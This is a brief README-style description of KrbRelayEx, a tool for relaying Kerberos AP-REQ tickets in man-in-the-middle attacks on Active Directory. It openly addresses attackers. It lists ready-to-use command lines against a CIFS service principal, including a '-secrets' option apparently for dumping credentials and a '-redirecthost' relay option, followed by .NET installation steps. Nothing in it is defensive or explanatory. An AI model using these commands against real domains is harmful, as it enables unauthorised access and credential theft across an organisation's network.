KrbRelayEx is a sophisticated tool designed for performing Man-in-the-Middle (MitM) attacks by relaying Kerberos AP-REQ tickets.
It is particularly useful in scenarios where an attacker seeks to exploit vulnerabilities in Active Directory environments, especially those related to DNS manipulation and Kerberos authentication.
KrbRelayEx.exe -spn CIFS/target.domain.com -console -redirecthost <ip_target_host>
KrbRelayEx.exe -spn CIFS/target.domain.com -list
KrbRelayEx.exe -spn CIFS/target.domain.com -secrets -redirecthost <ip_target_host>
To use KrbRelayEx, you need to install the .NET 8.0 runtime. On Windows, download from the official .NET site, and on Ubuntu, use sudo apt install dotnet8
.
Required files include KrbRelayEx.dll
, KrbRelayEx.runtimeconfig.json
, and optionally KrbRelayEx.exe
for Windows.
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